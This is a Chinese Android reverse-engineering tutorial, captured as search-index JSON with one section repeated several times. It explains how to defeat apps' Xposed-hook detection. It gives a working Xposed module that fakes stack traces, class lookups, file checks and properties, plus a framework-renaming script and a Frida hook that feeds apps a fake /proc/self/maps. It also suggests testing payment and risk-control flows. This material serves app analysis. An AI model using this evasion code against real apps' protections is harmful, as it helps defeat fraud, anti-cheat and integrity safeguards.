检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 开始之前，请确认： 已安装 Xposed 框架：设备上已刷入 EdXposed 或 LSPosed，并能正常使用 设备已 Root：拥有 Root 权限，或使用虚拟化方案（如 VirtualXposed） 能反编译 APK：会使用 Jadx/JEB 查看 Java 代码 了解 Xposed Hook 基础：知道如何编写简单的 Xposed 模块（可参考 Xposed Guide） 了解 Java 反射机制：理解 Class.forName(), ClassLoader 等概念 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:3:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#前置条件"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：识别检测类型（15-30 分钟） 首先需要确定 App 使用了哪种检测方法，这决定了后续的绕过策略。 方法 1：观察运行行为 运行目标 App，观察异常行为的时机和特征： 异常时机 可能的检测类型 启动阶段立即崩溃/退出 调用栈检测（Application.onCreate 中） 特定功能（登录、支付）受限 关键方法处的定点检测 延迟几秒后弹出警告 定时器或异步线程中的检测 随机触发 多点分散检测或混淆后的检测 方法 2：静态分析检测代码 使用 Jadx 反编译 APK，搜索 Xposed 检测的特征字符串： # 反编译 APK jadx -d ./decompiled target.apk # 搜索 Xposed 相关特征 cd decompiled grep -r \"xposed\" --include=\"*.java\" . grep -r \"XposedBridge\" --include=\"*.java\" . grep -r \"de.robv.android\" --include=\"*.java\" . # 搜索检测方法调用 grep -r \"getStackTrace\" --include=\"*.java\" . grep -r \"Class.forName\" --include=\"*.java\" . grep -r \"/proc/self/maps\" --include=\"*.java\" . 常见检测代码模式： 调用栈检测： // 特征代码 try { throw new Exception(\"Xposed Detection\"); } catch (Exception e) { for (StackTraceElement element : e.getStackTrace()) { if (element.getClassName().contains(\"de.robv.android.xposed\")) { // Xposed 检测到! return true; } } } 类加载检测： try { Class.forName(\"de.robv.android.xposed.XposedBridge\"); // 如果没抛异常，说明 Xposed 存在 return true; } catch (ClassNotFoundException e) { return false; } 文件系统检测： File xposedJar = new File(\"/system/framework/XposedBridge.jar\"); if (xposedJar.exists()) { // Xposed 检测到! } Native 层检测： // maps 文件检测 FILE* fp = fopen(\"/proc/self/maps\", \"r\"); // 读取内容并查找 \"libxposed_art.so\" 或 \"XposedBridge\" // 符号地址检测 void* handle = dlopen(\"libart.so\", RTLD_NOW); void* sym = dlsym(handle, \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\"); // 检查地址是否在非标准内存区域 方法 3：选择绕过策略 根据检测类型选择合适的策略： 检测类型 推荐策略 成功率 耗时 Java 层调用栈检测 Hook StackTraceElement.getClassName() 90% 30min Java 层类加载检测 Hook Class.forName() 85% 20min 文件系统检测 Hook File.exists() 95% 20min Native 层 maps 检测 Hook fopen() / 定制框架 60% 2-4h 综合检测（多种方法） 定制化 Xposed 框架 80% 4h+ 决策树： 检测类型已知？ ├─ 是 → 策略 A：编写针对性 Hook 模块 └─ 否 → 快速测试需求或不想写代码 └─→ 策略 B：使用现成隐藏模块（最快） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#第-1-步识别检测类型15-30-分钟"},{"categories":null,"collections":null,"content":"第 1 步：识别检测类型（15-30 分钟） 首先需要确定 App 使用了哪种检测方法，这决定了后续的绕过策略。 方法 1：观察运行行为 运行目标 App，观察异常行为的时机和特征： 异常时机 可能的检测类型 启动阶段立即崩溃/退出 调用栈检测（Application.onCreate 中） 特定功能（登录、支付）受限 关键方法处的定点检测 延迟几秒后弹出警告 定时器或异步线程中的检测 随机触发 多点分散检测或混淆后的检测 方法 2：静态分析检测代码 使用 Jadx 反编译 APK，搜索 Xposed 检测的特征字符串： # 反编译 APK jadx -d ./decompiled target.apk # 搜索 Xposed 相关特征 cd decompiled grep -r \"xposed\" --include=\"*.java\" . grep -r \"XposedBridge\" --include=\"*.java\" . grep -r \"de.robv.android\" --include=\"*.java\" . # 搜索检测方法调用 grep -r \"getStackTrace\" --include=\"*.java\" . grep -r \"Class.forName\" --include=\"*.java\" . grep -r \"/proc/self/maps\" --include=\"*.java\" . 常见检测代码模式： 调用栈检测： // 特征代码 try { throw new Exception(\"Xposed Detection\"); } catch (Exception e) { for (StackTraceElement element : e.getStackTrace()) { if (element.getClassName().contains(\"de.robv.android.xposed\")) { // Xposed 检测到! return true; } } } 类加载检测： try { Class.forName(\"de.robv.android.xposed.XposedBridge\"); // 如果没抛异常，说明 Xposed 存在 return true; } catch (ClassNotFoundException e) { return false; } 文件系统检测： File xposedJar = new File(\"/system/framework/XposedBridge.jar\"); if (xposedJar.exists()) { // Xposed 检测到! } Native 层检测： // maps 文件检测 FILE* fp = fopen(\"/proc/self/maps\", \"r\"); // 读取内容并查找 \"libxposed_art.so\" 或 \"XposedBridge\" // 符号地址检测 void* handle = dlopen(\"libart.so\", RTLD_NOW); void* sym = dlsym(handle, \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\"); // 检查地址是否在非标准内存区域 方法 3：选择绕过策略 根据检测类型选择合适的策略： 检测类型 推荐策略 成功率 耗时 Java 层调用栈检测 Hook StackTraceElement.getClassName() 90% 30min Java 层类加载检测 Hook Class.forName() 85% 20min 文件系统检测 Hook File.exists() 95% 20min Native 层 maps 检测 Hook fopen() / 定制框架 60% 2-4h 综合检测（多种方法） 定制化 Xposed 框架 80% 4h+ 决策树： 检测类型已知？ ├─ 是 → 策略 A：编写针对性 Hook 模块 └─ 否 → 快速测试需求或不想写代码 └─→ 策略 B：使用现成隐藏模块（最快） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#方法-1观察运行行为"},{"categories":null,"collections":null,"content":"第 1 步：识别检测类型（15-30 分钟） 首先需要确定 App 使用了哪种检测方法，这决定了后续的绕过策略。 方法 1：观察运行行为 运行目标 App，观察异常行为的时机和特征： 异常时机 可能的检测类型 启动阶段立即崩溃/退出 调用栈检测（Application.onCreate 中） 特定功能（登录、支付）受限 关键方法处的定点检测 延迟几秒后弹出警告 定时器或异步线程中的检测 随机触发 多点分散检测或混淆后的检测 方法 2：静态分析检测代码 使用 Jadx 反编译 APK，搜索 Xposed 检测的特征字符串： # 反编译 APK jadx -d ./decompiled target.apk # 搜索 Xposed 相关特征 cd decompiled grep -r \"xposed\" --include=\"*.java\" . grep -r \"XposedBridge\" --include=\"*.java\" . grep -r \"de.robv.android\" --include=\"*.java\" . # 搜索检测方法调用 grep -r \"getStackTrace\" --include=\"*.java\" . grep -r \"Class.forName\" --include=\"*.java\" . grep -r \"/proc/self/maps\" --include=\"*.java\" . 常见检测代码模式： 调用栈检测： // 特征代码 try { throw new Exception(\"Xposed Detection\"); } catch (Exception e) { for (StackTraceElement element : e.getStackTrace()) { if (element.getClassName().contains(\"de.robv.android.xposed\")) { // Xposed 检测到! return true; } } } 类加载检测： try { Class.forName(\"de.robv.android.xposed.XposedBridge\"); // 如果没抛异常，说明 Xposed 存在 return true; } catch (ClassNotFoundException e) { return false; } 文件系统检测： File xposedJar = new File(\"/system/framework/XposedBridge.jar\"); if (xposedJar.exists()) { // Xposed 检测到! } Native 层检测： // maps 文件检测 FILE* fp = fopen(\"/proc/self/maps\", \"r\"); // 读取内容并查找 \"libxposed_art.so\" 或 \"XposedBridge\" // 符号地址检测 void* handle = dlopen(\"libart.so\", RTLD_NOW); void* sym = dlsym(handle, \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\"); // 检查地址是否在非标准内存区域 方法 3：选择绕过策略 根据检测类型选择合适的策略： 检测类型 推荐策略 成功率 耗时 Java 层调用栈检测 Hook StackTraceElement.getClassName() 90% 30min Java 层类加载检测 Hook Class.forName() 85% 20min 文件系统检测 Hook File.exists() 95% 20min Native 层 maps 检测 Hook fopen() / 定制框架 60% 2-4h 综合检测（多种方法） 定制化 Xposed 框架 80% 4h+ 决策树： 检测类型已知？ ├─ 是 → 策略 A：编写针对性 Hook 模块 └─ 否 → 快速测试需求或不想写代码 └─→ 策略 B：使用现成隐藏模块（最快） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#方法-2静态分析检测代码"},{"categories":null,"collections":null,"content":"第 1 步：识别检测类型（15-30 分钟） 首先需要确定 App 使用了哪种检测方法，这决定了后续的绕过策略。 方法 1：观察运行行为 运行目标 App，观察异常行为的时机和特征： 异常时机 可能的检测类型 启动阶段立即崩溃/退出 调用栈检测（Application.onCreate 中） 特定功能（登录、支付）受限 关键方法处的定点检测 延迟几秒后弹出警告 定时器或异步线程中的检测 随机触发 多点分散检测或混淆后的检测 方法 2：静态分析检测代码 使用 Jadx 反编译 APK，搜索 Xposed 检测的特征字符串： # 反编译 APK jadx -d ./decompiled target.apk # 搜索 Xposed 相关特征 cd decompiled grep -r \"xposed\" --include=\"*.java\" . grep -r \"XposedBridge\" --include=\"*.java\" . grep -r \"de.robv.android\" --include=\"*.java\" . # 搜索检测方法调用 grep -r \"getStackTrace\" --include=\"*.java\" . grep -r \"Class.forName\" --include=\"*.java\" . grep -r \"/proc/self/maps\" --include=\"*.java\" . 常见检测代码模式： 调用栈检测： // 特征代码 try { throw new Exception(\"Xposed Detection\"); } catch (Exception e) { for (StackTraceElement element : e.getStackTrace()) { if (element.getClassName().contains(\"de.robv.android.xposed\")) { // Xposed 检测到! return true; } } } 类加载检测： try { Class.forName(\"de.robv.android.xposed.XposedBridge\"); // 如果没抛异常，说明 Xposed 存在 return true; } catch (ClassNotFoundException e) { return false; } 文件系统检测： File xposedJar = new File(\"/system/framework/XposedBridge.jar\"); if (xposedJar.exists()) { // Xposed 检测到! } Native 层检测： // maps 文件检测 FILE* fp = fopen(\"/proc/self/maps\", \"r\"); // 读取内容并查找 \"libxposed_art.so\" 或 \"XposedBridge\" // 符号地址检测 void* handle = dlopen(\"libart.so\", RTLD_NOW); void* sym = dlsym(handle, \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\"); // 检查地址是否在非标准内存区域 方法 3：选择绕过策略 根据检测类型选择合适的策略： 检测类型 推荐策略 成功率 耗时 Java 层调用栈检测 Hook StackTraceElement.getClassName() 90% 30min Java 层类加载检测 Hook Class.forName() 85% 20min 文件系统检测 Hook File.exists() 95% 20min Native 层 maps 检测 Hook fopen() / 定制框架 60% 2-4h 综合检测（多种方法） 定制化 Xposed 框架 80% 4h+ 决策树： 检测类型已知？ ├─ 是 → 策略 A：编写针对性 Hook 模块 └─ 否 → 快速测试需求或不想写代码 └─→ 策略 B：使用现成隐藏模块（最快） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#方法-3选择绕过策略"},{"categories":null,"collections":null,"content":"第 2 步：策略 A - 编写自定义绕过模块 创建 AntiXposedDetection.java： package com.example.antidetect; import android.os.Bundle; import de.robv.android.xposed.*; import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; import java.io.File; public class AntiXposedDetection implements IXposedHookLoadPackage { // 修改为你的目标 App 包名 private static final String TARGET_PACKAGE = \"com.target.app\"; @Override public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable { // 只 Hook 目标 App if (!lpparam.packageName.equals(TARGET_PACKAGE)) return; XposedBridge.log(\"[AntiDetect] 开始 Hook \" + TARGET_PACKAGE); // 绕过调用栈检测 hookStackTrace(); // 绕过类加载检测 hookClassForName(); // 绕过文件系统检测 hookFileExists(); // 绕过系统属性检测 hookSystemProperties(); XposedBridge.log(\"[AntiDetect] 所有 Hook 已激活\"); } /** * 绕过调用栈检测 * 原理：修改 StackTraceElement.getClassName() 返回值 */ private void hookStackTrace() { XposedHelpers.findAndHookMethod( StackTraceElement.class, \"getClassName\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String originalClassName = (String) param.getResult(); // 如果类名包含 xposed 特征，替换为无害系统类 if (originalClassName != null \u0026\u0026 originalClassName.toLowerCase().contains(\"xposed\")) { param.setResult(\"com.android.internal.os.ZygoteInit\"); XposedBridge.log(\"[AntiDetect] 隐藏调用栈: \" + originalClassName); } } } ); } /** * 绕过类加载检测 * 原理：拦截 Class.forName() 调用，对 Xposed 类抛出 ClassNotFoundException */ private void hookClassForName() { XposedHelpers.findAndHookMethod( Class.class, \"forName\", String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String className = (String) param.args[0]; // 如果尝试加载 Xposed 相关类，抛出 ClassNotFoundException if (className != null \u0026\u0026 (className.contains(\"xposed\") || className.contains(\"Xposed\") || className.contains(\"EdXposed\") || className.contains(\"LSPosed\"))) { param.setThrowable(new ClassNotFoundException(className)); XposedBridge.log(\"[AntiDetect] 阻止加载类: \" + className); } } } ); // 也拦截三参数版本 forName XposedHelpers.findAndHookMethod( Class.class, \"forName\", String.class, boolean.class, ClassLoader.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String className = (String) param.args[0]; if (className != null \u0026\u0026 className.toLowerCase().contains(\"xposed\")) { param.setThrowable(new ClassNotFoundException(className)); } } } ); } /** * 绕过文件系统检测 * 原理：修改 File.exists() 返回值，隐藏 Xposed 特征文件 */ private void hookFileExists() { XposedHelpers.findAndHookMethod( File.class, \"exists\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { File file = (File) param.thisObject; String path = file.getAbsolutePath(); // Xposed 特征文件列表 String[] xposedPaths = { \"XposedBridge\", \"xposed\", \"de.robv.android.xposed\", \"EdXposed\", \"LSPosed\", \"libxposed\", \"libedxposed\", \"liblspd\" }; // 检查路径是否包含特征 for (String keyword : xposedPaths) { if (path.contains(keyword)) { param.setResult(false); // 伪装文件不存在 XposedBridge.log(\"[AntiDetect] 隐藏文件: \" + path); return; } } } } ); } /** * 绕过系统属性检测 * 原理：拦截 System.getProperty() 调用 */ private void hookSystemProperties() { XposedHelpers.findAndHookMethod( System.class, \"getProperty\", String.class, new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String key = (String) param.args[0]; // VirtualXposed 等会设置特殊属性 if (key != null \u0026\u0026 (key.contains(\"xposed\") || key.contains(\"vxp\") || key.equals(\"ro.build.version.xposed\"))) { param.setResult(null); // 返回 null XposedBridge.log(\"[AntiDetect] 隐藏系统属性: \" + key); } } } ); } } 项目结构： AntiXposedDetection/ ├── app/ │ └── src/main/ │ ├── AndroidManifest.xml │ ├── assets/ │ │ └── xposed_init # 入口类声明 │ └── java/com/example/antidetect/ │ └── AntiXposedDetection.java │ └── build.gradle └── build.gradle AndroidManifest.xml： \u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\" package=\"com.example.antidetect\"\u003e \u003capplica","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#第-2-步策略-a---编写自定义绕过模块"},{"categories":null,"collections":null,"content":"第 3 步：策略 B - 使用现成隐藏模块 Hide My Applist（最强大，推荐） 下载：GitHub 功能：隐藏应用列表、Xposed 框架、Root 支持黑白名单、模板系统 XposedChecker Bypass 专门针对 XposedChecker 这类检测工具 覆盖常见检测点 RootCloak Plus（老牌模块） 同时隐藏 Root 和 Xposed 配置简单，但对新型检测效果较差 使用步骤（以 Hide My Applist 为例）： # 1. 下载并安装 # 从 GitHub 发布页下载最新 APK adb install HideMyApplist.apk # 2. 在 LSPosed 中激活 # LSPosed 管理器 → 模块 → Hide My Applist → 勾选启用 # 3. 配置隐藏规则 # 打开 Hide My Applist App # → 模板管理 → 新建模板 # → 选择隐藏内容： # 黑名单模式（隐藏 Xposed 相关） # 隐藏 Xposed 模块 # 隐藏系统框架 # → 应用管理 → 选择目标 App → 应用模板 # 4. 重启目标 App adb shell am force-stop com.target.app adb shell am start -n com.target.app/.MainActivity ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#第-3-步策略-b---使用现成隐藏模块"},{"categories":null,"collections":null,"content":"第 4 步：策略 C - 定制 Xposed 框架 当 Hook 绕过无效时，可能需要从源码层面修改 Xposed 特征。 修改目标： 包名：de.robv.android.xposed → com.myfw.custom 类名：XposedBridge → CustomBridge 文件名：libxposed_art.so → libcustom_art.so 系统属性：persist.xposed.* → persist.myfw.* 详细步骤： 1. 获取 Xposed 源码： # 克隆 EdXposed 源码（推荐，比原版 Xposed 更活跃） git clone --recursive https://github.com/ElderDrivers/EdXposed cd EdXposed # 也可以克隆 LSPosed（更现代实现） git clone --recursive https://github.com/LSPosed/LSPosed 2. 修改特征字符串（创建脚本 rename_xposed.sh）： #!/bin/bash # 全局替换 Xposed 特征为自定义名称 OLD_PACKAGE=\"de.robv.android.xposed\" NEW_PACKAGE=\"com.myframework.custom\" OLD_CLASS=\"Xposed\" NEW_CLASS=\"Custom\" OLD_LIB=\"xposed\" NEW_LIB=\"myfw\" echo \"开始替换 Xposed 特征...\" # 1. 替换包名 echo \"替换包名...\" find . -type f \\( -name \"*.java\" -o -name \"*.cpp\" -o -name \"*.h\" \\) \\ -exec sed -i \"s/$OLD_PACKAGE/$NEW_PACKAGE/g\" {} + # 2. 替换类名 echo \"替换类名...\" find . -type f -name \"*.java\" \\ -exec sed -i \"s/${OLD_CLASS}Bridge/${NEW_CLASS}Bridge/g\" {} + find . -type f -name \"*.java\" \\ -exec sed -i \"s/${OLD_CLASS}Helpers/${NEW_CLASS}Helpers/g\" {} + # 3. 重命名文件 echo \"重命名文件...\" find . -name \"*Xposed*\" | while read file; do newfile=$(echo \"$file\" | sed \"s/Xposed/Custom/g\") mv \"$file\" \"$newfile\" 2\u003e/dev/null done # 4. 替换库文件名 echo \"替换 Native 库名...\" find . -type f \\( -name \"*.cpp\" -o -name \"*.mk\" -o -name \"CMakeLists.txt\" \\) \\ -exec sed -i \"s/lib${OLD_LIB}/lib${NEW_LIB}/g\" {} + # 5. 替换系统属性名 echo \"替换系统属性...\" find . -type f \\( -name \"*.cpp\" -o -name \"*.java\" \\) \\ -exec sed -i \"s/persist.xposed/persist.myfw/g\" {} + \\ -exec sed -i \"s/ro.xposed/ro.myfw/g\" {} + echo \"特征替换完成！\" echo \"请手动检查以下文件是否正确：\" echo \" - AndroidManifest.xml\" echo \" - module.prop (Magisk 模块配置)\" echo \" - build.gradle\" 3. 修改 module.prop（Magisk 模块配置）： id=custom_xposed name=Custom Framework (Xposed) version=v1.0.0 versionCode=1 author=YourName description=Customized Xposed Framework with renamed signatures minMagisk=21000 4. 编译定制版框架： # 执行替换 ./rename_xposed.sh # 编译（以 EdXposed 为例） cd EdXposed ./gradlew :edxp-core:buildAll # 输出位于 out/edxp-core/release/ # 获取一个 .zip 文件，可在 Magisk 中刷入 5. 安装定制版框架： # 方法 1：通过 Magisk 管理器安装 # 打开 Magisk 管理器 → 模块 → 从本地安装 → 选择 ZIP # 方法 2：通过 TWRP Recovery 刷入（如有） # adb reboot recovery # 在 TWRP 中选择 Install → 选择 ZIP → 滑动确认 # 重启设备 adb reboot ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:4","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#第-4-步策略-c---定制-xposed-框架"},{"categories":null,"collections":null,"content":"第 5 步：验证绕过效果 验证清单： 目标 App 正常运行：不再弹出检测警告，不闪退 Xposed Hook 依然生效：你的 Hook 模块能正常 Hook 目标方法 检测工具显示干净：使用 XposedChecker 等工具测试，显示未检测到 验证方法： 1. 编写测试 Xposed 模块： // 验证拦截是否生效 XposedHelpers.findAndHookMethod( \"com.target.app.MainActivity\", lpparam.classLoader, \"onCreate\", Bundle.class, new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"Hook 成功！App 未检测到 Xposed\"); } } ); 2. 查看日志： # 查看 App 是否有检测相关日志 adb logcat | grep -i \"xposed\\|detect\\|security\\|check\" # 应该看到： # - Hook 成功日志 # - 没有检测相关错误日志 3. 使用 XposedChecker： # 安装 XposedChecker adb install XposedChecker.apk # 运行并查看结果 # 如果绕过成功，应该显示 \"Xposed: Not Detected\" 4. 测试目标 App 功能： 完整功能测试流程： ├─→ 启动 App（观察是否崩溃） ├─→ 登录账号（观察是否被拒绝） └─→ 测试核心业务（支付/游戏/查看敏感信息） └─→ 观察是否触发风控或异常 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:4:5","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#第-5-步验证绕过效果"},{"categories":null,"collections":null,"content":"原理解析 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:5:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#原理解析"},{"categories":null,"collections":null,"content":"Xposed 检测原理 1. 调用栈特征： 当 Xposed Hook 一个方法时，实际的调用链是： App.targetMethod() ↓ XposedBridge.handleHookedMethod() ↓ 原始方法/替换方法 App 可以通过 Thread.currentThread().getStackTrace() 获取调用栈，如果发现 de.robv.android.xposed 相关类，就说明 Xposed 存在。 2. 类加载特征： Xposed 在 Zygote 进程中注入，会加载 XposedBridge 等类到每个 App 进程。App 可以尝试 Class.forName(\"de.robv.android.xposed.XposedBridge\")，如果成功加载，就说明 Xposed 存在。 3. 文件系统特征： Xposed 需要在系统中安装文件： /system/framework/XposedBridge.jar /system/lib/libxposed_art.so 或 /system/lib64/libxposed_art.so 4. 内存映射特征： 进程的内存映射（/proc/self/maps）中会出现 Xposed 相关的库。 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:5:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#xposed-检测原理"},{"categories":null,"collections":null,"content":"绕过原理 关键技术点： 拦截检测方法的执行：在检测代码执行前 Hook，修改其行为 修改返回值：让检测方法总是返回\"未检测到\"的结果 过滤特征字符串：将包含 “xposed” 的字符串替换为无害字符串 阻止异常抛出：对于 Class.forName() 这类检测，主动抛出 ClassNotFoundException 示例：调用栈检测的绕过原理 Hook 前（检测成功）： App 调用 getStackTrace() → 返回 [MainActivity, XposedBridge, ZygoteInit, ...] → App 发现 \"XposedBridge\" → 检测成功（Xposed 存在） Hook 后（绕过检测）： App 调用 getStackTrace() → 返回 [MainActivity, XposedBridge, ZygoteInit, ...] → 我们 Hook 拦截 getClassName() → 将 \"XposedBridge\" 替换为 \"ZygoteInit\" → App 只看到 [MainActivity, ZygoteInit, ZygoteInit, ...] → 检测失败（未发现 Xposed） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:5:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#绕过原理"},{"categories":null,"collections":null,"content":"定制框架效果 检测方式 检测代码 定制后 结果 类加载检测 Class.forName(\"de.robv...XposedBridge\") 包名改为 com.myfw...CustomBridge 检测失败 文件检测 /system/framework/XposedBridge.jar 文件名改为 CustomBridge.jar 检测失败 maps 检测 搜索 libxposed_art.so 库名改为 libcustom_art.so 检测失败 缺点： 维护成本高，需要跟随官方 Xposed 更新 编译过程复杂，需要配置 Android NDK 部分依赖原版 Xposed API 的模块可能不兼容 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:5:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#定制框架效果"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:6:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#常见问题"},{"categories":null,"collections":null,"content":"问题 1：Hook 模块激活后，App 仍然检测到 Xposed 可能原因： Hook 时机太晚：App 在 Application.onCreate() 之前就检测了 Native 层检测：App 使用 JNI 检测，Java Hook 无法拦截 遗漏的检测点：App 使用了你没有覆盖的检测方法 Hook 作用域未配置：LSPosed 中未将目标 App 加入作用域 解决方案： 方案 1：提前 Hook 时机 // 在 Application.attachBaseContext() 中提前拦截 XposedHelpers.findAndHookMethod( \"com.target.app.MyApplication\", lpparam.classLoader, \"attachBaseContext\", Context.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { // 在 Application 初始化前就拦截所有检测方法 hookAllDetectionMethods(lpparam); XposedBridge.log(\"[AntiDetect] Early hooks installed\"); } } ); 方案 2：结合 Frida 处理 Native 层 // Frida Script：Hook fopen() 拦截 maps 文件读取 Interceptor.attach(Module.findExportByName(\"libc.so\", \"fopen\"), { onEnter: function(args) { var path = Memory.readUtf8String(args[0]); if (path === \"/proc/self/maps\") { console.log(\"[*] fopen() called for /proc/self/maps\"); // 重定向到一个干净的 maps 文件 args[0] = Memory.allocUtf8String(\"/data/local/tmp/fake_maps\"); } } }); 方案 3：使用 Xposed 调用 Native Hook // 调用 native 方法做 inline hook nativeHookFopen(); 方案 4：全面分析检测代码 cd decompiled # 搜索所有可能检测模式 grep -rn \"getStackTrace\\|forName\\|/proc/self/maps\\|XposedBridge\\|exists()\" . \\ --include=\"*.java\" \u003e detection_points.txt 方案 5：检查 LSPosed 作用域 adb shell \"su -c 'ls /data/adb/lspd/config/modules/'\" # 应该看到你的模块 ID # 检查作用域配置 # LSPosed 管理器 → 模块 → 你的模块 → 应用作用域 # 确保目标 App 已勾选 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:6:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#问题-1hook-模块激活后app-仍然检测到-xposed"},{"categories":null,"collections":null,"content":"问题 2：定制框架编译失败 可能原因： META-INF 目录下的脚本缺失 编译过程中出错，生成的 ZIP 损坏 解决方案： 方案 1：检查 ZIP 结构 # 解压查看结构 unzip -l edxp-custom.zip # 标准 Magisk 模块结构： # META-INF/ # com/google/android/ # update-binary # 安装脚本 # updater-script # 空文件即可 # module.prop # 模块配置 # system/ # 系统文件 # framework/ # CustomBridge.jar # lib64/ # libcustom_art.so # riru/ # Riru 相关（如使用 Riru） 方案 2：手动创建 module.prop id=custom_xposed name=Custom Xposed Framework version=v1.0.0 versionCode=100 author=YourName description=Customized Xposed with renamed signatures # 可选字段 minMagisk=21000 maxMagisk=99999 方案 3：手动打包 mkdir -p magisk_module/system/framework mkdir -p magisk_module/system/lib64 # 复制文件 cp update-binary magisk_module/META-INF/com/google/android/ touch magisk_module/META-INF/com/google/android/updater-script cp module.prop magisk_module/ cp CustomBridge.jar magisk_module/system/framework/ cp libcustom_art.so magisk_module/system/lib64/ # 打包（注意：必须在模块目录内打包） cd magisk_module zip -r ../custom-xposed-magisk.zip . cd .. # 推送并安装 adb push custom-xposed-magisk.zip /sdcard/ # 在 Magisk Manager 中安装 方案 4：使用 TWRP 刷入 adb reboot recovery # 在 TWRP 中：Install → 选择 ZIP → 滑动确认 